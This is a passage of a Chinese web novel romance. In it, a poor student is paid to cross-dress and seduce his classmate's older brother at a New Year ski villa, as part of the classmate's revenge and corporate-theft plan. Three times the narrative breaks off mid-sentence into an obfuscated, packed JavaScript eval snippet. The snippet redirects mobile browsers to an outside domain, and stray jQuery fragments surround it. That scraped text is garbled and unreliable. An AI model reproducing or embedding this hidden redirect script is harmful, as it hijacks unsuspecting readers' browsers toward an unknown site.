卡里几乎0余额,他现在都支撑不起陶稚在容槐店里的高消费了。 没准陶稚的小金库都比他多。 ……他什么时候混到这种境地过? 真特么烦人。 越烦越恨傅司珩,傅铮都快要气死了。 他打开手机,在地图上找了一家典当行。 傅铮冷着脸走出商场。 16.计划 陶稚今天来容槐这儿是因为傅司珩给他送了几件秋装。 S市步入12月后,天气逐渐开始变凉,和之前那些很华丽复杂的裙子不一样,这几次,傅司珩让助理送来的,都是比较适合日常穿的衣服。 陶稚坐在房间里,一件件拆开之后,选了一套棕色系的简约穿搭。 针织外套加上格子裙。 衣摆的长度没过裙子,盖住膝盖,给了陶稚不少安全感。 换好衣服后,容槐敲门进来。 陶稚拍照不露脸,不需要容槐给他化妆。 容槐进来是指导他的,顺便帮忙修剪了刘海。 上次那款黑长直假发,今天容槐帮忙修剪得稍微薄了点儿,隐约露出一点光滑白皙的额头,显得更轻盈了。 帮他换上后,容槐说:“你像修过的网图。” 担心陶稚听不懂,补充道:“很漂亮。” “谢谢啊。”被夸了,陶稚有点不好意思。 容槐笑了笑,又教了他几个拍照自然的姿势。 ——这是陶稚请求他帮忙的。 陶稚在这点上完全就是一个小呆瓜,拍照只会很笨地站着,非常僵硬,被傅铮说过好几次。 傅铮这个人很坏。 明明他都超级听话认真干活了,结果傅铮总是对他不满意。每次都把他的照片另外存一份,当着他的面放大挑刺,说这里不对,那里不对的。明明傅司珩都没发表意见。 陶稚从一开始的心虚接受,到现在特烦他。 好在今天有容槐在,应该能顺利交差。 容槐这人可真好啊。 他对自己和傅铮做的事一点好奇都没有,每次都只是很认真地在帮忙,从不多问,也不八卦,这让陶稚十分安心。 “好了,就这样吧。”容槐说:“这几个姿势够你用了,不够的话出来找我,我就在外面。” “嗯嗯嗯!”陶稚跟小鸡啄米似的点头,眼里满满都是感激之情:“谢谢你,容槐哥。” 真乖,真实诚一小孩。 容槐笑着帮他整理了下头发,随后起身,走出房间。 他离开之后,陶稚开始做今天的正事了。 理论上来说,每次收到傅司珩送来的东西,陶稚都应该从里面挑出至少一件衣服,穿在身上,拍照给傅司珩看。 这是礼尚往来,感谢他买的礼物,告诉他很合身,再顺势和傅司珩聊上几句,联络联络感情。 陶稚一开始严格执行,傅司珩送东西的频率也挺正常。 可后来不知道怎么了,傅司珩次数开始增多,陶稚渐渐有点力不从心。 他背着傅铮偷了个小懒。 比如这个星期,他只说自己收到了裙子,没说是这个星期的第三次。傅铮以为是一次的量,实际累计了三次,周末带着他来处理。 陶稚第一次不老实,怪心虚的。 赚钱可真不容易啊。 他叹了一口气,随后举起手机,咔咔咔几声,一连拍了好几张照片。 傅司珩这段时间送过来的,陶稚没处理的,大概有几个Labubu玩偶,秋装,以及前段时间,傅司珩出差时顺手带回来的伴手礼。 三样东西,他很聪明地三合一了。 陶稚坐在地毯上,周边放着伴手礼,怀里抱着Labubu的玩偶。 米白色的毛绒公仔,纤细白皙的手臂环在玩偶身上,竖起来的耳朵贴着锁骨,完美挡住喉结,肩膀处,黑色的发丝垂下,搭在玩偶身上。 陶稚双腿弯曲盘坐在地毯上,室内温度适宜,裙边搭着大腿,膝盖圆润,关节透着淡粉,小腿肚在头顶的光线下泛着柔光。 挺好的,没露什么不该露的地方。 除了这个姿势之外,另外还有对镜挡脸屈腿照,站起来的全身照,以及拿着伴手礼的照片。 陶稚一次性把能拍的全部拍了。 拍完后,他仔细检查了一遍,随后发给傅司珩。 速度很快,从容槐离开房间,到他将照片发过去,前后不过十五分钟。 陶稚拍照实在太直男了,他既不找角度也不修图,拿起手机就是一顿咔咔咔。 也就是纯粹的天赋好,往那儿一坐就是张网图,特别省心。 照片发送后,他编辑了一条感谢的信息。 傅司珩很快回复。 很高冷,就一个嗯字,顺便问了一句,没有在宿舍? 小萌兔:【您送的裙子太多了,放不下,所以租了个房间。^v^】 傅司珩:【哦。】 陶稚:“……” 好冷漠的反应啊。 就很奇怪。 明明看上去不是很想搭理他的样子,却有源源不断的礼物送过来。 陶稚想不明白。 但他也不用想明白。 他只要完成傅铮交代给他的任务就行了,其他的都让傅铮去想吧。 今天圆满结束,陶稚换上自己的衣服,简单收拾了房间后走出去。 “这么快啊。”容槐就在前台,陶稚一出来他就看见了。 他轻挑着眉:“傅铮还没有回来哦。” “嗯?”陶稚往门口的方向望去:“那我等等他。” 容槐唔了一声,又忽然喊他。 准备走向沙发的陶稚脚步停下。 他转了个弯,往前台去:“容槐哥,怎么了?” “没什么,和你聊会儿天。”容槐好像想起什么似的,问陶稚:“对了,你们是不是快要放元旦假了?” “嗯?元旦啊……好像是。”距离元旦大概还有大半个月的时间,陶稚认真点头。 容槐:“元旦放几天,三天吗?” 容老板自从开店起,就跟法定节假日彻底告别了,包括他这儿的员工,也都是按照月调休来的,从没有节日休假的概念。 毕竟节假日正是他们上班的时候。 容槐问:“那傅铮有没有说带你去哪里玩?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817577|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “啊?”陶稚摇头。 傅铮为什么要带他去玩—— “啊,傅铮来了。” 陶稚还没来得及回答,听到容槐的话,下意识往后看。 两双眼睛一齐看着他,傅铮开门的动作都顿了一秒,进来后朝他们走去,皱着眉,语气不爽:“都看我干嘛。” “和你室友聊天呢。”容槐托着腮,懒洋洋地说:“聊你们元旦三天假去哪里玩。” “哈?”这突然说起元旦,不是还有大半月吗。 “前几天,卫煜带他女朋友来我店里。”容槐用一副超绝不经意的口吻说:“他女朋友也是个学生,好像在读研究生,你们知道吧?” 啊……啊……? 他不知道啊。 陶稚有点跟不上话题了。 “说元旦去滑雪,对了,他说傅司珩,你哥也会去。” “?” 傅司珩三个字,让傅铮和陶稚同时警觉。 傅铮:“你说的是真的?” 毛绒小兔竖起了耳朵。 “当然了。”容槐开着这么个店,平时帮忙做做晚宴舞会之类的造型,和这群富二代都挺熟的。 但到底是跟傅铮熟一点,还是跟卫煜更熟一点,这可就不好说了。 容槐微笑看着他们。 傅铮陷入沉思。 毛绒小兔也在沉思。 感觉哪里不对,还隐隐有点不好的预感。 “行,我知道了。”傅铮很快打定好主意:“改天请你吃饭。” “对了,半年的租金转给你了。” “哇哦。”容槐挑眉,看了眼手机。 说是半年的租金,但傅铮却很财大气粗地转了三万块整,看来是不包括之前转的那笔了。 富二代财大气粗。 “谢了。”容槐没有跟他客气。 转完钱后,傅铮带着陶稚离开。 容槐靠在前台,支着下巴看着他们的背影,唇角微微上扬。 - 陶稚有点不好的预感。 打从傅铮出现,他听着傅铮和容槐的对话,总觉得不对劲。 一路走来,陶稚都在想这件事,整个人完全在状态外。 等到发现自己来到三楼的女装区时,陶稚有点懵。 他透过店外的玻璃,看见琳琅满目的当季女装,眼前黑了黑。 “傅铮,我们来这里干什么?”陶稚假装不懂,微颤着声音问。 “给你买衣服。”卖了手表,手头宽裕了,傅铮富二代的底气又回来了:“你刚才没听容槐说元旦去滑雪吗,傅司珩也在。” 陶稚:“……” 预感成了现实,陶稚想继续装不懂都难了。 新任务:在傅铮哥哥面前连续穿三天女装。 不暴露的同时还得勾引他,包括但不限于和他搭话,聊天,以及杏.骚.扰。 好大的挑战。 陶稚咽了咽口水。 17.吃掉 陶稚觉得这个任务太艰难了,他肯定做不到。 那可是三天啊! 整整三天,他要以女生的身份和打扮,去跟傅司珩相处,还要想尽办法勾引他,拿下他,怎么可能做得到嘛! 陶稚顿时头摇得跟拨浪鼓似的,头一次有了想要逃跑的想法,连着往后退了好几步,和傅铮拉开距离。 傅铮也没有急着把他拽回来。 不知道为什么,陶稚这抗拒又不听话的样子,他看着还挺高兴。 莫名其妙地高兴,又不知道自己在高兴什么,就觉得很舒心,说话语气都放缓了不少,心平气和地用金钱诱惑他:“三天三万。” 陶稚:“……” 又来了。 陶稚觉得自己这样好没有骨气。 可是…… 他后退的动作停下,但表情依旧犹豫,看着傅铮没有说话。 傅铮今天心情不错,难得地多了点儿耐心。 两人对视,片刻后,傅铮胸有成竹地开口:“四万。” 哎? 陶稚愣了愣,但依旧摆手,尝试讲道理:“这不是钱的问题,傅铮,我真的……” “五万。”傅铮打断他的话。 表情犹豫的陶稚这下变得迟疑。 但他依旧没有松口。 傅铮继续用钱砸他。 这种久违的,肆意挥霍的感觉实在太爽了:“六万。” ???! 六万! 已经抬到六万了! 陶稚瞪圆了眼睛,黑色的瞳孔都好似变成了金钱的形状。 只要钱足够多,什么犹豫害怕穿帮统统都给忘了,他特别想点头答应,但话在嘴边,又硬生生停下了。 “可是傅铮,三天真的太久了,我害怕会被发现。”陶稚又变成了先前犹豫的样子。 “……” 演技真差。 这么拙劣的表演,根本骗不到傅铮。 傅铮特别想翻白眼,他忍了忍,出声警告陶稚:“差不多行了啊,见好就收。” “再跟我耍心眼,一分没有。” 啊。 被拆穿了。 第一次“算计”别人就被毫不留情地拆穿,陶稚有点不好意思,眼里顿时满是羞赧,脸颊也跟着变烫。 他觉得自己好坏好过分,也不敢反驳傅铮的话。 …… 哼。 笨蛋。 老实的笨蛋来到大城市后,竟然也会跟着学坏。 可那有什么用。 笨蛋就是笨蛋,学坏了也还是笨蛋,什么表情都写在脸上,看一眼就知道在想什么。 “过来。”傅铮掀了掀眼皮。 估计要被教训了。 陶稚硬着头皮,唯唯诺诺地走过去,熟练道歉:“对不起嘛……唔。” 刚靠近傅铮,他的脸就被扯住了。 陶稚白净软绵的脸肉,被傅铮粗粝的手指拉扯出一个形状。 一手扯脸,一手戳他左边脸颊微微鼓起的颊肉。 一点都不闲着。 “你还敢跟我玩心眼。”傅铮语气冷酷无情。 他嘴里说着不饶人的话,眼睛却是盯着陶稚的脸看。 这手感真软,皮肤好嫩。啧,怎么忽然有点牙痒了? 想咬。 傅铮顶了顶牙根,压下自己的心思,故作冷酷:“知道错了没有?” “几道了,几道了。”陶稚求饶,脸颊被拉得口齿不清的:“唔下次不敢了……好痛。” “怎么可能会痛。”傅铮不信:“我都没有用力。” 话虽如此,但他还是松开了手。 他一松开,陶稚立马捂着脸后退,揉搓了自己好一会儿才缓过劲来。 白皙漂亮的脸蛋上,竟然连指印都出现了。 泛着红痕,有点凌乱,像是被人狠狠欺负过。 实际上也确实被人狠狠欺负过。 想到陶稚刚刚喊痛,傅铮表情僵了僵。 他下意识地抬手,陶稚这时却警惕地后退,生怕傅铮再扯他的脸。 “错了错了,真的错了。”陶稚跟他讨饶:“别再欺负我了。” “傅铮,放过我吧,下次不敢了,我答应你了,答应你了好不好?” 傅铮:“?” 傅铮:“……” 靠。 这也能算欺负吗? 好不爽。 但是不爽的同时,又觉得好爽。 这他妈的。 这奇怪的感觉到底是什么? 陶稚这个人真是……傅铮变脸,懒得再跟他废话了,伸手一指前面的店:“进去。” 陶稚忙不迭地点头,无比顺从,这场风波才终于平息。 进到店里后,傅铮把陶稚交给了店员,自己则走到一边给卫煜打电话。 事情发展正如卫煜所想的那样。 他听到傅铮的来意后立马拒绝,装模作样地表达了自己的为难之处,然后再留一线地告诉傅铮,会帮他争取看看,傅铮道了句谢,电话很快挂断。 傅铮无所谓,不管卫煜同不同意,这趟他一定会去。 因为元旦之后临近春节,每年这个时候傅司珩都很忙,错过了这次机会,下次不知道还要等多久才能把陶稚带到他面前。 傅铮不想将战线拉得太长,最好这次行程,陶稚就能把傅司珩给搞定。 到时候年尾偷商业机密,明年年初让傅司珩下台滚蛋,他给陶稚一大笔钱,让陶稚赶紧把家里那些破烂账全部还干净,以后就不用再可怜兮兮地啃馒头吃青菜了…… 只要陶稚帮他完成这个任务,两人的前途都会是一片光明。 这是必要的牺牲。 傅铮复习了一遍自己的计划,身心顺畅地去找陶稚。 陶稚没有试衣服,而是跟着SA到处乱逛。 他一个男生试女装这也太奇怪了……把尺码报给SA后,让对方帮他挑选。 一共选了三套。 傅铮过来看了眼,觉得不错,立马刷卡结账,眼都没眨。 傅少爷一向大手大脚惯了,尤其给陶稚花起钱来毫无轻重,穷到去吃食堂都会给他买一万多的裙子,更何况现在富裕起来。 买,女装一口气买三套,元旦出行一天一套。 男装也买两套。 他有时候真的有点搞不懂,明明都给陶稚那么多钱了,结果他买个羽绒服只买599的,而且还念叨了好几次很贵。 傅铮就看不得他这眼皮子浅的模样,一口气带着在商场消费了小二十万。 离开的时候,余额短信姗姗来迟。 傅铮:“……” 无所谓。 到时候把傅司珩踹下位了,多少钱他都有。在这之前,大不了再卖点能卖的东西,比如他十八岁生日礼物的那辆跑车。 做大事者不拘小节,冷酷无情。 傅铮的心已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828075|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经比冬日屋檐上的冰棱还要坚硬了。 - 时间一转眼便临近了月底。 为了营造事情真的很难办的假象,卫煜特意磨磨蹭蹭到过完圣诞节才通知傅铮。 不出所料,事情完成得十分完美,傅铮说带着他的“女同学”准时到。 今年的元旦在星期一,连着周六周日能放三天,又刚好,他们两人,周五的下午,四点就能下课。 行李提前一天就收拾好了。 陶稚这边刚离开教学楼,连宿舍都没回,就被傅铮拽着手腕拉上车,直接往目的地去。 大概三个多小时的车程,临近别墅大概三公里左右,下了盘山公路后,傅铮将车停在路边下车,让陶稚在车上换衣服。 为了今天的行程,傅铮准备了很多。 提前让陶稚去跟着容槐学化妆打扮自己,虽然学得不怎么好,但是勉强也算是能收拾出个女生样了。 陶稚怀着忐忑的心情做好这一切。十多分钟后,他们来到了山脚下的别墅门口。 别墅门是关上的,但没有锁,傅铮直接开门进去。 山居下的别墅,除了几公里外有个酒店外,附近看不到有其他的建筑物,加上这几天又下了雪,外面白茫茫的一片,什么人都没有。 陶稚踩着雪走到门口的时候心里还咯噔了一下,结果门一推开,里面的景象截然不同。 温暖明亮的大厅,好几个男男女女凑在一起说话。 陶稚站在傅铮的身后,脑袋左右转转,没有看见傅司珩,但看见了站在壁炉旁的卫煜。 卫煜也看见了他们,立马走到门口:“你们终于到了啊。” “卫哥。”傅铮跟卫煜打了声招呼,目光扫了大厅一圈:“人这么多?” “之前就有告诉你的,大概有七八个。”卫煜说。 傅铮:“哦。” 这条信息被他选择性忽略了。 “你们来晚了,房间只剩下两间了。”两人寒暄过后,卫煜说到了正题上。 他侧头看了一眼傅铮身后的陶稚:“你俩可能得分开住,没问题吧。” “你这女同学住在二楼,你住三楼。” “或者你住二楼,你同学住三楼?” “随便。”傅铮对住的地方没要求。 “ok。”卫煜带他们上楼。 二楼还剩的一间房在最里面,卫煜给他们开门。 钥匙插进锁孔的瞬间,身后传来一声极其突兀的“咔哒”声。 隔壁的房门也开了。 陶稚下意识转头。 是傅司珩。 陶稚转头时,傅司珩正好从门后走出。两人的目光猝不及防地对视上,陶稚莫名地觉得心惊。 因为傅司珩的眼神太奇怪了。 漆黑的眼瞳,在看到他的一瞬间,仿佛凝住了似的,一错不错地直盯着看。 其中包含着的侵略性与暂时的自我压抑,陶稚看不懂,但并不妨碍他觉得害怕。 怎、怎么回事啊。 陶稚闪躲着错开视线,下意识去摸自己的头发。 是他暴露了吗? 虽说他今天没有化妆,但也只露出了半张脸啊。 厚厚的围巾裹着大半张脸,假发也没有掉,陶稚自己心虚,生怕哪里出了纰漏,连忙摸摸垂落在肩膀的发丝。 在的,都还在。 那傅司珩为什么要这样看他? 好像要把他吃掉一样。 18.蜜糖 陶稚不知道自己为什么会有这种感觉。 除开第一次见面那次,傅司珩揍傅铮很吓人外,后来他对傅司珩的印象都还挺好的。 把外套借他盖在腿上,送他回学校,加微信也没有拒绝。 后来又经常给他送礼物。 虽然傅司珩在微信上表现得并不热络,但基本也算是句句有回应,陶稚还以为他们相处得还不错呢。 能答应傅铮在不会化妆的情况下,连扮三天的女生,也是基于这个前提之下。 傅司珩人挺好,和他相处三天应该没什么问题。在来之前,陶稚是这样想的。 没想到这刚一见面就被现实教育了。 傅司珩只是站在他身后看了他一眼,顿时就让陶稚打起了退堂鼓。 趋利避害的本能首次战胜了他对金钱的渴望。他连六万块都放弃了,几乎想拔腿就跑。 差点就这样做了。 结果傅司珩目光稍微向上抬了抬,陶稚立马不敢动弹。 老老实实,乖乖巧巧地站着。 “傅哥。” 陶稚硬着头皮跟傅司珩打招呼。 “哥。”傅铮跟陶稚的声音几乎一齐响起。 即便对傅司珩再讨厌,但为了他的复仇大计,傅铮还是忍辱负重地喊了他一声。 一切都是为了后面的报复。 傅司珩:“嗯。” 两个人跟他打招呼,他却只回了一句嗯,也不知道在回谁。 不过目光倒是有从陶稚身上挪开。 这让陶稚松了一口气,那种奇怪的感觉也随之消散不少。 卫煜则是从傅司珩出门起,就进入到了吃瓜模式。 看得正高兴呢,收到了傅司珩警告的眼神,卫煜立马轻咳一声,问道:“你怎么出来了?晚饭还没好呢。” “出来透透气。”傅司珩语气不咸不淡。 “哦——”卫煜长长地应了一声,语气听着特别欠揍。 傅司珩懒得理他,随口问了一句:“你们住这里?” “哪能啊。”卫煜说:“人家可是一男一女的同学关系,怎么能同住一间房的。” “这个房间是这个,呃。”卫煜不知道陶稚的名字,顿了几秒后才说:“女同学的。” “……” 被点名了。 还是被点名一男一女,陶稚顿时缩了缩脖子,把自己露在外面的脸又往围巾里塞了点儿。 现在几乎只剩个眼睛在外面。 傅司珩:“哦。” “嗯,我帮他放行李箱。”傅铮也开口了 :“哥,我们先进去了。” “卫哥,你把钥匙给我吧,我待会自己去三楼。” “哦,行啊。”卫煜没意见,立马将钥匙给他。 傅铮接过后,打开了面前的房门。 “傅哥,我进去了,待会儿见。”有礼貌的陶稚小同学,这时候还不忘保持着自己的礼貌。 傅司珩又嗯了一声,看上去并不在意。 陶稚转身,跟着傅铮的脚步进屋。 门一关上,他立马抓住傅铮的手臂。 “?” 傅铮愣了一瞬:“你干嘛。” “傅铮,我们真的要在这里待三天吗?”陶稚急切地看着他。 他似乎是想说什么,但又不敢直接说,只能委婉地试探:“这时间会不会太久了啊。” “……” 这个小笨蛋在想什么,傅铮一眼就能看穿。他顿时眼神变得锐利:“别告诉我早就说好的事,你现在要反悔。” “……大不了把钱还给你”陶稚小小声。 “你说什么?”傅铮没听清。 语气不耐烦,听着要生气。陶稚立马摇头:“我什么也没说。” “莫名其妙的。”傅铮说他。 刚刚见到傅司珩了,还主动跟他打招呼,喊他哥,以至于傅铮现在特别不爽。 这时候也没空关注陶稚的小情绪,更何况他手上还拿着陶稚的背包和行李箱。 大少爷收拾是不可能收拾的,压根就没有这项技能。 他随手往前一推,行李箱停到哪儿就是哪儿,傅铮顺便打量了一下房间。 还行吧。 大小合适,有独立洗手间有露台,还能看到隔壁的露台。 傅司珩刚刚估计就在露台上。 傅铮看见隔壁圆盘的玻璃桌上还放着烟和打火机,还能看见开着的露台门,以及房间内明亮的灯光。 卫煜这房间安排得不错。 …… 傅铮心里是这样想的,但却忍不住皱了下眉。 他在露台站着,吹了好一会儿寒风才回到房间。 陶稚依旧在门口没动,也不知道在想什么,但看见他进来后,眼眸微微闪动了一下,喊了他一声。 傅铮:“嗯。” “我、我还是觉得不好。”陶稚鼓起勇气说:“要不我们还是回去吧,我不会化妆,真的扮不了三天女生,如果穿帮的话,你跟我会一起完蛋的。” 刚刚想了好一会儿都没有想到为什么会有害怕的感觉,最后陶稚只能归咎于自己没有学会化妆上。 不会化妆怎么装女生啊,被发现就完了。 陶稚咽了咽口水,强调道:“我们会一起完蛋,一起被揍出鼻血,很可怜很惨的。” “?”草。 傅铮听到他这话顿时就不淡定了。他听不得陶稚这样说他,本能地想要反驳,他才不会被揍出鼻血。 但刚刚的前半句话又让他顿住。 “你没化妆?!”傅铮皱眉,盯着他看。 陶稚点了点头。 是真的没有化妆。 一个星期前就开始下雪了,气温急剧下降,陶稚穿得特别多,连帽大衣加上围巾,围巾又围着大半张的脸,有没有化妆区别还真的不大。 现在陶稚脱下大衣取下围巾,脸全部露了出来。 巴掌大的小脸,脸颊和鼻头被捂到发热发红:“这样呢?是不是很明显能看出来了?” 傅铮:“……” 傅铮压根就没有看出任何区别来。 现在这样就很清纯女大学生啊。 哪里有问题了? 傅铮没说话。 过了好一会儿:“不是让容槐教你了吗?” “没学会嘛。”陶稚有点不好意思,低头挠挠脑袋。 傅铮:“……” 化妆太难了,容槐教了一个下午他只学会了涂口红,粉底都没学会,老抹不匀。也就是陶稚本身的肤色很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834630|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,容槐觉得涂不涂都无所谓,陶稚又惦记那六万块,咬咬牙也就上车了。 但现在不敢了。 “回去吧,傅铮,我们回去吧。”陶稚坚持不懈地吹耳旁风。 外加画大饼。 “等我学会化妆了,我一定答应你好好勾引你哥。” “我回去一定好好学。 ” “好不好?” “不好。”傅铮直接拒绝。 “都到了你跟我说回去,耍我玩呢。” 再说了,这不挺好,挺漂亮的。 会不会化妆无所谓,就这样也没问题。 有什么好担心的? 不过。 傅铮又盯着陶稚看了好一会儿。 “你化妆的那些东西呢?书包里?” 他一边说,一边去拿陶稚的书包,从里面找出了一根唇釉。 傅铮拧开了盖子,在陶稚茫然的目光中,单手捏着他的下巴抬起。 唇釉的刷头碰到了陶稚的嘴唇。 傅铮也不会化妆,但这种事情有什么难的? 他拿着唇釉的刷头顺着刷过去,淡粉的唇瓣很快变成了蜜桃色,嘴唇上面亮亮的—— 傅铮第一次做这种事还挺认真,皱着眉头,动作细致。 鼻尖是唇釉自带的香味,隔得近了,陶稚的睫毛颤动,好像刮在他的脸上。 有点儿痒。 草。 傅铮的心跳突然变快,有点疑似熬夜过度要猝死的那种感觉。他连忙松开陶稚,后退了好几步,故作镇定地说:“这样就行了。” “啊……”陶稚眨了眨眼,抬手摸了摸。 “别特么啊了。”傅铮看得头皮发麻。 嘴巴泛着水润的光泽,唇瓣开合时有些许黏感,仿佛慢动作似地“啵”了一下。 “我去洗手。”傅铮逃也似地跑开。 呃…… 陶稚看着他的背影,不解。 但是……这样真的没问题吗? 陶稚没忍住又摸向自己的嘴巴。 指尖刚碰到,身后忽然传来两声敲门的声。 陶稚去开门。 手指搭在门把手上,陶稚犹豫了一会才打开。 看傅铮这样,他们估计走不了了,也不可能戴着围巾三天。总得面对,不能退缩。 这样想着,陶稚深吸了一口气,鼓起勇气压下门把手。 ——但很怂地只开了一点门缝,只够他露出半个身体。 外面站着傅司珩。 打开的一瞬间,傅司珩微愣几秒才回神。 脱掉外套和围巾,傅司珩才发现陶稚今天穿的衣服是他买的。 高领薄纱露肩针织裙,圆润的肩膀被薄纱掩着,透着朦胧的光泽。 裙子的高领堆叠在颈部,衬得脖颈条线条修长优美。 再往上,小巧的下巴,嘴唇水润红润。 一截碎发贴在脸颊,陶稚略微有些紧张地看着他:“傅哥,是你啊。” 傅司珩目光凝住。 他又闻到了陶稚身上散发出来的气味。 这次是蜜桃。 嘴巴上散发出蜜桃味,甜腻腻。 像是被熬化了的糖浆,拉扯出一条丝线,缠住他的所有感官。 19.泳衣 “傅哥?” 陶稚又喊了他一声,傅司珩这才回神。 凝住的目光逐渐恢复清明,傅司珩嗯了声,视线终于从陶稚嘴唇上移开了。 他又很快落在了泛红的鼻尖和脸颊上。 别墅里是有暖气的。 但陶稚先前进来时,一直用围巾捂着自己,脸被捂红在情理之中。 但是,怎么会有人脸红都这么漂亮。 清透莹白的皮肤上泛着薄薄的红色,尤其鼻尖这个位置,竟然还透着一点粉色。 真可爱。 傅司珩的目光有点挪不开,看着看着,还又回到了嘴唇上。 嘴唇很Q。 微微鼓起的唇肉,上面一层淡淡的,泛着亮光的唇釉,像是果冻一样。 被戳得颤动摇摆,□□弹弹,莹润的水光看得人头脑发昏。 换了些定力不足的人,这时候肯定已经找借口离开,不然心脏都要跳出来了,丢脸死。 但年纪大到底是年纪大。 成熟的28岁男人,不至于看到完全失去意识。 他听到了陶稚的话,陶稚问他怎么了,有什么事。 “晚饭好了。”老男人声音平稳,听不出任何不对劲的地方。 天真单纯的陶稚刚想应声,傅司珩忽然抬手。 陶稚愣了愣。 男人宽大的手掌贴在他的脸上,两人巨大的体型差,在这点上也体现得淋漓尽致。 手掌几乎能将这张脸整个笼罩住。 哪怕傅司珩特意的,用大半个掌心托住了陶稚的下巴,但这样的感觉依旧强烈。 肤色差也挺强烈的。 男人的目光沉了沉。 在陶稚诧异的目光下,傅司珩粗粝的手指贴在了他的唇角,随后向下一抹。 “口红涂出来了。”傅司珩淡声道。 “啊?哦。”陶稚迅速回神:“麻烦您了……谢谢。” 还不忘跟傅司珩道谢。 听得傅司珩有点想笑。 呆呆笨笨的,被欺负了都不知道。 该不会以后,他做一些很过分的事情,陶稚也要给他道谢吧。 很难不顺着去想象那样一幅画面。 “……哎?”怎么突然这么开心了?陶稚不解,歪了歪脑袋,疑惑地看着他。 傅司珩不板着脸的话,其实看着也没有那么凶。 本身长相就挺好,五官硬朗优越,是很英俊的类型。 只是平时太过不苟言笑,总是一副面无表情的冷酷样子,所以才显得吓人。 不过他的手是不是该松开了呀? “傅哥。”陶稚喊他。 刚开口,一只手将他大力拉扯到身后,伴随响起的,还有傅铮咬牙切齿的声音,以及,他粗鲁地将门全部推开:“谁特么在摸你的脸!” 啊? 陶稚懵了懵:“你、你哥啊……” “?” “……” 傅铮看到了。 门被推开的一瞬间,他清楚地看见了傅司珩的脸。 傅铮顿时愣在当场。 陶稚也挺茫然的,完全不知道他老板在干嘛,还仰着脸茫然地询问:“傅铮,怎么了?” 能怎么了? 傅铮刚从洗手间出来,就看见有一只手贴在陶稚的脸上。 男人宽大的手掌几乎托着陶稚的大半张脸。 并且随着陶稚侧头的动作,傅铮能清晰地看见他的下巴抵在了男人的掌心中。 那一瞬间自己好像忽然失去了理智似的,只觉得有一股无名火燃起,想也没想就冲上了上来。 现在觉得很尴尬。 “你干嘛只开个门缝。”傅铮开始恼羞成怒。 可他也说不上来自己因为什么原因恼羞成怒,更加不明白为什么会生气。 尤其在意识到,就算看见门外站在着的人是傅司珩,他的怒火也依旧没有消散时,傅铮真的搞不懂自己了。 傅司珩和陶稚亲密,那不正是他想看到的吗? 可他一点都不开心。 他只觉得堵得慌。 陶稚:“?” 啊? 陶稚是真的脾气很好,被莫名其妙指责了也不生气,只是不解地看着傅铮。 只开一点门缝,当然是因为他没有化妆,有点担心呀。 干嘛说他啊。 陶稚抿了抿唇,挣扎着从傅铮手掌的禁锢下挣脱出来。 “算了。”傅铮觉得自己很奇怪。 但仔细想想,陶稚是他的人,他担心陶稚被别人欺负而显得激动,这都是很正常的事。 没错,正常。 陶稚就更是无妄之灾了。 本来就是他安排陶稚去接近勾引傅司珩,两人做什么都没有问题,更何况只是区区摸脸。 没、有、任、何、问、题。 待会给陶稚转点钱吧。 傅铮终于说服了自己,但还是板着个脸,看着老大不爽的,也懒得在傅司珩面前装了,语气很冲:“你来干嘛。” “晚饭好了。”傅司珩扯了下唇,连看都懒得看他这个蠢弟弟一眼,只对陶稚说:“下去吃饭。” “哦,好的。”陶稚乖乖点头。 - 在下楼之前,陶稚回房间又把围巾拿上了。 但这次是披在身上。 别墅内开了暖气,不穿羽绒服完全可以。但他现在身上的毛衣裙露肩膀,总觉得有点不适应,所以他这次将围巾披在了肩膀上。 这种穿法是容槐教他的。 针织裙自带一条腰链,陶稚将围巾下摆一起扣上,这么一改,还真像一件薄外套。 陶稚整理好自己后跟着傅司珩一块儿下楼,傅司珩走在他身侧,看了眼:“这是去年的款了。” “嗯?”陶稚微微仰头。 走在他们身后的傅铮顿时警觉。 陶稚:“什么?” 傅铮:傅司珩这玩意什么意思。 “没什么,走吧。” 傅司珩淡声道。 傅铮纯废物。 根本不会养。 - 来到餐厅时,其他人已经坐好在等他们了。 一条长长的桌子,空着的三个位置特别明显,两个挨在一起,另外一个则在对面。 傅司珩先坐下,选的是并排空位中的其中一个。陶稚思考几秒后,在他身边坐下。 傅铮讨厌傅司珩,应该不会想要和他坐在一起,那只好让自己来了。 陶稚觉得他很为老板着想,值得老板的一个奖励。 但抬头时却看见傅铮很不爽地拉开椅子。 “滋啦”一声,十分刺耳。 怎么又不高兴了? 不懂,只觉得傅铮性格真是太差了,阴晴不定的。 陶稚已经不想搭理他了,当做没听见,低头吃饭。 今天的晚饭是卫煜女朋友做的。 